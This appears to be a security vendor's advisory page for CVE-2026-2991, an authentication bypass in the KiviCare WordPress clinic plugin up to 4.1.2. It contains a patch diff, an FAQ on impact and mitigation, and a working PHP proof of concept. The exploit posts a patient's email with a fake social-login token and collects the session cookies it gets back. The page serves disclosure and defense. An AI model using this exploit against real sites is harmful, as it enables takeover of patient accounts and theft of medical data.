- <div id="<?php echo esc_attr($modal_id); ?>" class="kc-modal-overlay" style="display:none;">
- <div class="kc-modal-content">
- <button class="kc-modal-close" type="button" onclick="document.getElementById('<?php echo esc_attr($modal_id); ?>').style.display='none'; document.body.classList.remove('kc-modal-open');">×</button>
- <div class="kc-appointment-widget-container">
- <div class="kc-book-appointment-container kivi-widget" <?php echo $data_attrs_string; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
- <div class="kc-loading">
- <div class="double-lines-spinner"></div>
- <p><?php esc_html_e('Loading...', 'kivicare-clinic-management-system'); ?></p>
- </div>
+ <!-- Hidden container: JS will move its inner content into the overlay -->
+ <div id="<?php echo esc_attr($modal_id); ?>-content" style="display:none;">
+ <div class="kc-appointment-widget-container">
+ <div class="kc-book-appointment-container kivi-widget" <?php echo $data_attrs_string; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
+ <div class="kc-loading">
+ <div class="double-lines-spinner"></div>
+ <p><?php esc_html_e('Loading...', 'kivicare-clinic-management-system'); ?></p>
</div>
</div>
</div>
</div>
+
<script>
(function() {
- setTimeout(function() {
- if (window.initBookAppointment) {
- window.initBookAppointment();
+ var modalId = '<?php echo esc_js($modal_id); ?>';
+ var overlay = null;
+
+ function createOverlay() {
+ // Create overlay div with inline styles — immune to parent CSS
+ overlay = document.createElement('div');
+ overlay.id = modalId + '-overlay';
+ // Use cssText with !important to override any theme CSS
+ overlay.style.cssText =
+ 'position:fixed !important;' +
+ 'top:0 !important;' +
+ 'left:0 !important;' +
+ 'width:100% !important;' +
+ 'height:100% !important;' +
+ 'z-index:2147483647 !important;' +
+ 'background-color:rgba(0,0,0,0.6) !important;' +
+ 'display:flex !important;' +
+ 'align-items:center !important;' +
+ 'justify-content:center !important;' +
+ 'padding:2rem !important;' +
+ 'margin:0 !important;' +
+ 'box-sizing:border-box !important;' +
+ 'overflow-y:auto !important;' +
+ 'transform:none !important;' +
+ 'filter:none !important;' +
+ 'opacity:1 !important;' +
+ 'visibility:visible !important;'
+ ;
+
+ // Create dialog box
+ var dialog = document.createElement('div');
+ dialog.className = 'kc-modal-dialog';
+
+ // Create close button
+ var closeBtn = document.createElement('button');
+ closeBtn.className = 'kc-modal-close';
+ closeBtn.type = 'button';
+ closeBtn.innerHTML = '×';
+ closeBtn.addEventListener('click', closeModal);
+
+ // Move widget content into dialog
+ var contentHolder = document.getElementById(modalId + '-content');
+ if (contentHolder) {
+ // Move all children
+ while (contentHolder.firstChild) {
+ dialog.appendChild(contentHolder.firstChild);
+ }
}
+
+ dialog.insertBefore(closeBtn, dialog.firstChild);
+ overlay.appendChild(dialog);
+
+ // Click on backdrop to close
+ overlay.addEventListener('click', function(e) {
+ if (e.target === overlay) closeModal();
+ });
+
+ // Append directly to body
+ document.body.appendChild(overlay);
+ }
+
+ function openModal() {
+ if (!overlay) createOverlay();
+ overlay.style.setProperty('display', 'flex', 'important');
+ document.body.classList.add('kc-modal-open');
+
+ // Init React widget if not already done
+ setTimeout(function() {
+ if (window.initBookAppointment) window.initBookAppointment();
+ }, 50);
+ }
+
+ function closeModal() {
+ if (overlay) overlay.style.setProperty('display', 'none', 'important');
+ document.body.classList.remove('kc-modal-open');
+ }
+
+ // Open button
+ var openBtn = document.getElementById('kc-open-' + modalId);
+ if (openBtn) openBtn.addEventListener('click', openModal);
+
+ // Escape key
+ document.addEventListener('keydown', function(e) {
+ if (e.key === 'Escape' && overlay && getComputedStyle(overlay).display !== 'none') closeModal();
+ });
+
+ // Init React widget on page load too (for non-button shortcode)
+ setTimeout(function() {
+ if (window.initBookAppointment) window.initBookAppointment();
}, 100);
})();
</script>
--- a/kivicare-clinic-management-system/kivicare-clinic-management-system.php
+++ b/kivicare-clinic-management-system/kivicare-clinic-management-system.php
@@ -3,7 +3,7 @@
* Plugin Name: KiviCare - Clinic & Patient Management System (EHR)
* Plugin URI: https://kivicare.io
* Description: KiviCare is an impressive clinic and patient management plugin (EHR). It comes with powerful shortcodes for appointment booking and patient registration.
- * Version: 4.1.2
+ * Version: 4.1.3
* Author: iqonic design
* Text Domain: kivicare-clinic-management-system
* Domain Path: /languages
@@ -46,7 +46,7 @@
}
if (!defined('KIVI_CARE_VERSION')) {
- define('KIVI_CARE_VERSION', "4.1.2");
+ define('KIVI_CARE_VERSION', "4.1.3");
}
if (!defined('KIVI_CARE_API_VERSION')) {
--- a/kivicare-clinic-management-system/templates/KCInvoicePrintTemplate.php
+++ b/kivicare-clinic-management-system/templates/KCInvoicePrintTemplate.php
@@ -275,8 +275,10 @@
<?php
$tax_total = 0;
- foreach ($tax_items['tax_data'] as $tax) {
- $tax_total += (float)($tax['tax_amount'] ?? 0);
+ if(isKiviCareProActive()){
+ foreach ($tax_items['tax_data'] as $tax) {
+ $tax_total += (float)($tax['tax_amount'] ?? 0);
+ }
}
$grand_total = ($sub_total ?? 0) + $tax_total;
?>
--- a/kivicare-clinic-management-system/vendor/composer/autoload_classmap.php
+++ b/kivicare-clinic-management-system/vendor/composer/autoload_classmap.php
@@ -6,612 +6,9 @@
$baseDir = dirname($vendorDir);
return array(
- 'App\abstracts\KCAbstractPaymentGateway' => $baseDir . '/app/abstracts/KCAbstractPaymentGateway.php',
- 'App\abstracts\KCAbstractTelemedProvider' => $baseDir . '/app/abstracts/KCAbstractTelemedProvider.php',
- 'App\abstracts\KCElementorWidgetAbstract' => $baseDir . '/app/abstracts/KCElementorWidgetAbstract.php',
- 'App\abstracts\KCShortcodeAbstract' => $baseDir . '/app/abstracts/KCShortcodeAbstract.php',
- 'App\admin\AdminMenu' => $baseDir . '/app/admin/AdminMenu.php',
- 'App\admin\KCDashboardPermalinkHandler' => $baseDir . '/app/admin/KCDashboardPermalinkHandler.php',
- 'App\baseClasses\KCActivate' => $baseDir . '/app/baseClasses/KCActivate.php',
- 'App\baseClasses\KCApp' => $baseDir . '/app/baseClasses/KCApp.php',
- 'App\baseClasses\KCBase' => $baseDir . '/app/baseClasses/KCBase.php',
- 'App\baseClasses\KCBaseController' => $baseDir . '/app/baseClasses/KCBaseController.php',
- 'App\baseClasses\KCBaseModel' => $baseDir . '/app/baseClasses/KCBaseModel.php',
- 'App\baseClasses\KCErrorLogger' => $baseDir . '/app/baseClasses/KCErrorLogger.php',
- 'App\baseClasses\KCJoinConditionBuilder' => $baseDir . '/app/baseClasses/KCJoinConditionBuilder.php',
- 'App\baseClasses\KCMigration' => $baseDir . '/app/baseClasses/KCMigration.php',
- 'App\baseClasses\KCModuleRegistry' => $baseDir . '/app/baseClasses/KCModuleRegistry.php',
- 'App\baseClasses\KCNotificationDynamicKeys' => $baseDir . '/app/baseClasses/KCNotificationDynamicKeys.php',
- 'App\baseClasses\KCPaymentGatewayFactory' => $baseDir . '/app/baseClasses/KCPaymentGatewayFactory.php',
- 'App\baseClasses\KCPermissions' => $baseDir . '/app/baseClasses/KCPermissions.php',
- 'App\baseClasses\KCPostCreator' => $baseDir . '/app/baseClasses/KCPostCreator.php',
- 'App\baseClasses\KCQueryBuilder' => $baseDir . '/app/baseClasses/KCQueryBuilder.php',
- 'App\baseClasses\KCSidebarManager' => $baseDir . '/app/baseClasses/KCSidebarManager.php',
- 'App\baseClasses\KCTelemedFactory' => $baseDir . '/app/baseClasses/KCTelemedFactory.php',
- 'App\blocks\KCBlocksRegister' => $baseDir . '/app/blocks/KCBlocksRegister.php',
- 'App\controllers\KCRestAPI' => $baseDir . '/app/controllers/KCRestAPI.php',
- 'App\controllers\api\AppointmentsController' => $baseDir . '/app/controllers/api/AppointmentsController.php',
- 'App\controllers\api\AuthController' => $baseDir . '/app/controllers/api/AuthController.php',
- 'App\controllers\api\BillController' => $baseDir . '/app/controllers/api/BillController.php',
- 'App\controllers\api\BugReportController' => $baseDir . '/app/controllers/api/BugReportController.php',
- 'App\controllers\api\ClinicController' => $baseDir . '/app/controllers/api/ClinicController.php',
- 'App\controllers\api\ClinicScheduleController' => $baseDir . '/app/controllers/api/ClinicScheduleController.php',
- 'App\controllers\api\ConfigController' => $baseDir . '/app/controllers/api/ConfigController.php',
- 'App\controllers\api\DashboardController' => $baseDir . '/app/controllers/api/DashboardController.php',
- 'App\controllers\api\DoctorController' => $baseDir . '/app/controllers/api/DoctorController.php',
- 'App\controllers\api\DoctorServiceController' => $baseDir . '/app/controllers/api/DoctorServiceController.php',
- 'App\controllers\api\DoctorSessionController' => $baseDir . '/app/controllers/api/DoctorSessionController.php',
- 'App\controllers\api\EncounterController' => $baseDir . '/app/controllers/api/EncounterController.php',
- 'App\controllers\api\KCPrintInvoiceController' => $baseDir . '/app/controllers/api/KCPrintInvoiceController.php',
- 'App\controllers\api\MedicalHistoryController' => $baseDir . '/app/controllers/api/MedicalHistoryController.php',
- 'App\controllers\api\PatientController' => $baseDir . '/app/controllers/api/PatientController.php',
- 'App\controllers\api\PrescriptionController' => $baseDir . '/app/controllers/api/PrescriptionController.php',
- 'App\controllers\api\ReceptionistsController' => $baseDir . '/app/controllers/api/ReceptionistsController.php',
- 'App\controllers\api\SettingsController' => $baseDir . '/app/controllers/api/SettingsController.php',
- 'App\controllers\api\SettingsController\AppointmentSetting' => $baseDir . '/app/controllers/api/SettingsController/AppointmentSetting.php',
- 'App\controllers\api\SettingsController\CommonSettings' => $baseDir . '/app/controllers/api/SettingsController/CommonSettings.php',
- 'App\controllers\api\SettingsController\Configurations' => $baseDir . '/app/controllers/api/SettingsController/Configurations.php',
- 'App\controllers\api\SettingsController\CustomFields' => $baseDir . '/app/controllers/api/SettingsController/CustomFields.php',
- 'App\controllers\api\SettingsController\CustomNotification' => $baseDir . '/app/controllers/api/SettingsController/CustomNotification.php',
- 'App\controllers\api\SettingsController\EmailTemplate' => $baseDir . '/app/controllers/api/SettingsController/EmailTemplate.php',
- 'App\controllers\api\SettingsController\General' => $baseDir . '/app/controllers/api/SettingsController/General.php',
- 'App\controllers\api\SettingsController\GoogleEventTemplate' => $baseDir . '/app/controllers/api/SettingsController/GoogleEventTemplate.php',
- 'App\controllers\api\SettingsController\HolidayList' => $baseDir . '/app/controllers/api/SettingsController/HolidayList.php',
- 'App\controllers\api\SettingsController\ListingData' => $baseDir . '/app/controllers/api/SettingsController/ListingData.php',
- 'App\controllers\api\SettingsController\PatientSetting' => $baseDir . '/app/controllers/api/SettingsController/PatientSetting.php',
- 'App\controllers\api\SettingsController\Payment' => $baseDir . '/app/controllers/api/SettingsController/Payment.php',
- 'App\controllers\api\SettingsController\WidgetSetting' => $baseDir . '/app/controllers/api/SettingsController/WidgetSetting.php',
- 'App\controllers\api\SetupWizardController' => $baseDir . '/app/controllers/api/SetupWizardController.php',
- 'App\controllers\api\StaticDataController' => $baseDir . '/app/controllers/api/StaticDataController.php',
- 'App\controllers\api\SystemNoticesController' => $baseDir . '/app/controllers/api/SystemNoticesController.php',
- 'App\controllers\api\frontend\KCBookAppoinmentShortcode' => $baseDir . '/app/controllers/api/frontend/KCBookAppoinmentShortcode.php',
- 'App\controllers\filters\KCDoctorControllerFilters' => $baseDir . '/app/controllers/filters/KCDoctorControllerFilters.php',
- 'App\controllers\filters\KCPatientControllerFilters' => $baseDir . '/app/controllers/filters/KCPatientControllerFilters.php',
- 'App\database\CLI\KCMigrate' => $baseDir . '/app/database/CLI/KCMigrate.php',
- 'App\database\CLI\KCScaffold' => $baseDir . '/app/database/CLI/KCScaffold.php',
- 'App\database\classes\KCAbstractMigration' => $baseDir . '/app/database/classes/KCAbstractMigration.php',
- 'App\database\classes\KCMigrator' => $baseDir . '/app/database/classes/KCMigrator.php',
- 'App\elementor\widgets\ClinicListWidget' => $baseDir . '/app/elementor/widgets/ClinicListWidget.php',
- 'App\elementor\widgets\DoctorListWidget' => $baseDir . '/app/elementor/widgets/DoctorListWidget.php',
- 'App\emails\KCEmailNotificationInit' => $baseDir . '/app/emails/KCEmailNotificationInit.php',
- 'App\emails\KCEmailSender' => $baseDir . '/app/emails/KCEmailSender.php',
- 'App\emails\KCEmailTemplateManager' => $baseDir . '/app/emails/KCEmailTemplateManager.php',
- 'App\emails\KCEmailTemplateProcessor' => $baseDir . '/app/emails/KCEmailTemplateProcessor.php',
- 'App\emails\listeners\KCAppointmentNotificationListener' => $baseDir . '/app/emails/listeners/KCAppointmentNotificationListener.php',
- 'App\emails\listeners\KCDoctorNotificationListener' => $baseDir . '/app/emails/listeners/KCDoctorNotificationListener.php',
- 'App\emails\listeners\KCEncounterNotificationListener' => $baseDir . '/app/emails/listeners/KCEncounterNotificationListener.php',
- 'App\emails\listeners\KCInvoiceNotificationListener' => $baseDir . '/app/emails/listeners/KCInvoiceNotificationListener.php',
- 'App\emails\listeners\KCPatientCheckInNotificationListener' => $baseDir . '/app/emails/listeners/KCPatientCheckInNotificationListener.php',
- 'App\emails\listeners\KCPatientNotificationListener' => $baseDir . '/app/emails/listeners/KCPatientNotificationListener.php',
- 'App\emails\listeners\KCPaymentNotificationListener' => $baseDir . '/app/emails/listeners/KCPaymentNotificationListener.php',
- 'App\emails\listeners\KCPrescriptionNotificationListener' => $baseDir . '/app/emails/listeners/KCPrescriptionNotificationListener.php',
- 'App\emails\listeners\KCReceptionistNotificationListener' => $baseDir . '/app/emails/listeners/KCReceptionistNotificationListener.php',
- 'App\emails\listeners\KCUserVerificationNotificationListener' => $baseDir . '/app/emails/listeners/KCUserVerificationNotificationListener.php',
- 'App\helpers\KCExportHelper' => $baseDir . '/app/helpers/KCExportHelper.php',
- 'App\interfaces\KCIController' => $baseDir . '/app/interfaces/KCIController.php',
- 'App\interfaces\KCSidebarInterface' => $baseDir . '/app/interfaces/KCSidebarInterface.php',
- 'App\models\KCAppointment' => $baseDir . '/app/models/KCAppointment.php',
- 'App\models\KCAppointmentReminderMapping' => $baseDir . '/app/models/KCAppointmentReminderMapping.php',
- 'App\models\KCAppointmentServiceMapping' => $baseDir . '/app/models/KCAppointmentServiceMapping.php',
- 'App\models\KCBill' => $baseDir . '/app/models/KCBill.php',
- 'App\models\KCBillItem' => $baseDir . '/app/models/KCBillItem.php',
- 'App\models\KCClinic' => $baseDir . '/app/models/KCClinic.php',
- 'App\models\KCClinicAdmin' => $baseDir . '/app/models/KCClinicAdmin.php',
- 'App\models\KCClinicSchedule' => $baseDir . '/app/models/KCClinicSchedule.php',
-
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2991 - KiviCare – Clinic & Patient Management System (EHR) <= 4.1.2 - Unauthenticated Authentication Bypass via Social Login Token
<?php
$target_url = 'http://target-site.com';
$patient_email = 'victim@example.com';
$endpoint = '/wp-json/kivicare/api/v1/patient/social-login';
$url = $target_url . $endpoint;
$payload = [
'login_type' => 'google',
'email' => $patient_email,
'password' => 'arbitrary_fake_token',
'first_name' => 'Attacker',
'last_name' => 'Exploit'
];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);
curl_close($ch);
if ($http_code == 200) {
$data = json_decode($body, true);
if (isset($data['status']) && $data['status'] === true) {
echo "[SUCCESS] Authentication bypass successful.n";
echo "User ID: " . $data['data']['user_id'] . "n";
echo "Auth cookies set in response headers.n";
preg_match_all('/^Set-Cookie:s*([^;]*)/mi', $headers, $matches);
$cookies = $matches[1];
foreach ($cookies as $cookie) {
echo "Cookie: $cookien";
}
} else {
echo "[FAILED] Response indicates failure.n";
echo "Response: " . $body . "n";
}
} else if ($http_code == 403) {
echo "[INFO] Target user is not a patient role. Authentication cookies were still set in headers.n";
preg_match_all('/^Set-Cookie:s*([^;]*)/mi', $headers, $matches);
if (!empty($matches[1])) {
echo "WARNING: Auth cookies for non-patient user found in headers:n";
foreach ($matches[1] as $cookie) {
echo "Cookie: $cookien";
}
}
} else {
echo "[ERROR] Unexpected HTTP status: $http_coden";
echo "Headers: $headersn";
echo "Body: $bodyn";
}
?>
Frequently Asked Questions
What is CVE-2026-2991?
Overview of the vulnerabilityCVE-2026-2991 is a critical authentication bypass vulnerability in the KiviCare – Clinic & Patient Management System plugin for WordPress, affecting versions up to 4.1.2. It allows unauthenticated attackers to log in as any patient by exploiting the patientSocialLogin() function, which does not validate social provider access tokens.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability exists because the patientSocialLogin() function accepts an email address and an arbitrary access token without verifying the token’s authenticity. An attacker can send a POST request with a registered patient’s email and any string as the access token to gain unauthorized access to that patient’s account.
Who is affected by this vulnerability?
Identifying affected usersAll users of the KiviCare – Clinic & Patient Management System plugin for WordPress versions 4.1.2 and earlier are affected. This includes clinics and healthcare providers using the plugin to manage patient information.
How can I check if my site is vulnerable?
Steps to verify vulnerabilityTo check if your site is vulnerable, verify the version of the KiviCare plugin installed on your WordPress site. If it is version 4.1.2 or earlier, your site is at risk and should be updated immediately.
How can I fix the vulnerability?
Mitigation stepsTo fix the vulnerability, update the KiviCare plugin to version 4.1.3 or later, where the vulnerable patientSocialLogin() function has been removed. Regularly check for updates to ensure your plugins are secure.
What does the CVSS score of 9.8 indicate?
Understanding the severity levelA CVSS score of 9.8 indicates a critical vulnerability that poses a significant risk to the confidentiality, integrity, and availability of the affected system. This means that exploitation could lead to severe consequences, including unauthorized access to sensitive patient information.
What is the significance of the CWE-287 classification?
Understanding the classificationCWE-287 refers to ‘Improper Authentication’, which indicates that the system fails to properly verify the identity of users. This classification highlights the fundamental issue in the authentication process that allows attackers to bypass security measures.
What are the practical risks associated with this vulnerability?
Potential impact of exploitationExploitation of this vulnerability can lead to unauthorized access to sensitive patient data, including medical records, appointments, and billing information. This poses a serious risk of a breach of protected health information (PHI) and could have legal implications for the affected healthcare providers.
How does the proof of concept demonstrate the issue?
Understanding the PoCThe proof of concept (PoC) provided shows how an attacker can exploit the vulnerability by sending a crafted POST request to the vulnerable endpoint with a patient’s email and an arbitrary access token. This demonstrates the ease of exploitation and the potential for unauthorized access.
What should I do if I cannot update the plugin immediately?
Temporary mitigation measuresIf you cannot update the plugin immediately, consider disabling the plugin or restricting access to the vulnerable endpoint until you can apply the patch. Additionally, monitor your logs for any suspicious activity related to unauthorized access attempts.
Are there any other security measures I should take?
Best practices for securityIn addition to updating the plugin, ensure that your WordPress installation and all other plugins are up to date. Implement strong user authentication practices, such as two-factor authentication, and regularly review user access permissions.
Where can I find more information about this vulnerability?
Resources for further readingMore information about CVE-2026-2991 can be found in the official CVE database, security advisories from the plugin developers, and security-focused websites that track vulnerabilities in WordPress plugins.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






